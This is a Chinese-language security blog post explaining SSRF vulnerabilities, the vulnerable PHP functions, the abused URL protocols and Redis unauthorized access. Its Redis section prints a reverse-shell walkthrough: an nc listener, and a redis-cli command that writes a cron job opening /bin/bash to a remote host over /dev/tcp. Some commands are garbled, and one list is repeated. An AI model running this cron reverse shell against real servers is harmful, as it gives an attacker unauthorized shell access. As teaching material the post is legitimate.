SSRF漏洞
SSRF漏洞
一、SSRF是什么?
1、介绍
SSRF (Server-Side Request Forgery,服务器端请求伪造) 是一种由攻击者构造请求,由服务端发起请求的安全漏洞,一般情况下,SSRF攻击的目标是外网无法访问的内网系统,也正因为请求是由服务端发起的,所以服务端能请求到与自身相连而与外网隔绝的内部系统。也就是说可以利用一个网络请求的服务,当作跳板进行攻击。
2、SSRF漏洞危害
- 读取或更新内部资源,造成本地文件泄露
- 将含有漏洞防主机用作代理/跳板攻击内网主机,绕过防火墙等
- 可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务的banner 信息
- 对内网 WEB 应用进行指纹识别,通过访问默认文件实现(如:readme文件)
- 攻击内外网的 web 应用,主要是使用 GET 参数就可以实现的攻击(如:Struts2,sqli)
3、SSRF漏洞修复
- 限制请求的端口只能为Web端口,只允许访问HTTP和HTTPS的请求。
- 限制不能访问内网的IP,以防止对内网进行攻击。
- 屏蔽返回的详细信息。
二、产生SSRF漏洞的函数
1、file_get_content
1 | //file_get_contents是把文件写入字符串,当把url是内网文件的时候,会先去把这个文件的内容读出来再写入,导致了文件读取 |
2、fsockopen()
1 | //fsockopen()函数本身就是打开一个网络连接或者Unix套接字连接 |
3、curl()
1 | //利用方式很多最常见的是通过file、dict、gopher这三个协议来进行渗透,接下来也主要是集中讲对于curl()函数的利用方式 |
漏洞攻击方式:
- 对外网,服务器所在内网,本地进行端口扫描(挨个试探),获取一些服务的banner信息
- 攻击运行在内网或本地的应用程序
- 对内网Web应用进行指纹识别,识别企业内部的资产信息,通过访问默认文件实现(如:readme文件)
- 攻击内外网的Web应用,主要是使用HTTP GET请求就可以实现的攻击(比如strust2,SQli等)
- 下载内网资源,利用file协议读取本地文件或资源等
- 内部任意主机的任意端口发送精心构造的Payload
- DOS攻击(请求大文件,始终保持连接Keep-Alive Always)
- 利用Redis未授权访问,HTTP CRLF注入实现getshell
可以利用的协议
常用URL伪协议:
1 | file:/// -- 本地文件传输协议,主要用于访问本地计算机中的文件 |
三、redis未授权访问漏洞
redis介绍:
数据结构丰富: Redis支持多种数据结构,包括字符串、哈希、列表、集合、有序集合、位图、HyperLogLog等。
高性能: Redis是基于内存的数据库,数据存储在内存中,因此读写速度非常快。
持久化: Redis支持两种持久化方式,分别是快照(Snapshotting)和AOF(Append-Only File),可以保证数据的持久性。
复制和高可用性: Redis支持主从复制和Sentinel集群管理工具,可以实现数据的备份和高可用性。
发布/订阅: Redis支持发布/订阅模式,可以用于实现消息队列、实时通知等场景。
(1)redis绑定在0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网
(2)没有设置密码认证,可以避免远程登录redis服务
redis未授权访问漏洞的危害(利用方式)
一、利用定时任务反弹shell
监听机器:
1 | nc -lvvp 4444 #主机ip地址 |
给通过目标主机的redis未授权访问漏洞写入反弹shell的指令
1 | redis-c1i-h 192.168.0.104 set xxx "\n\n* * * * * /bin/bash-i>&/dev/tcp/192.168.61.149/4444 0>&1\n\n" |
四、SSRF漏洞危害
- 读取或更新内部资源,造成本地文件泄露
- 将含有漏洞防主机用作代理/跳板攻击内网主机,绕过防火墙等
- 可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务的banner 信息
- 对内网 WEB 应用进行指纹识别,通过访问默认文件实现(如:readme文件)
- 攻击内外网的 web 应用,主要是使用 GET 参数就可以实现的攻击(如:Struts2,sqli)
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 Hexo!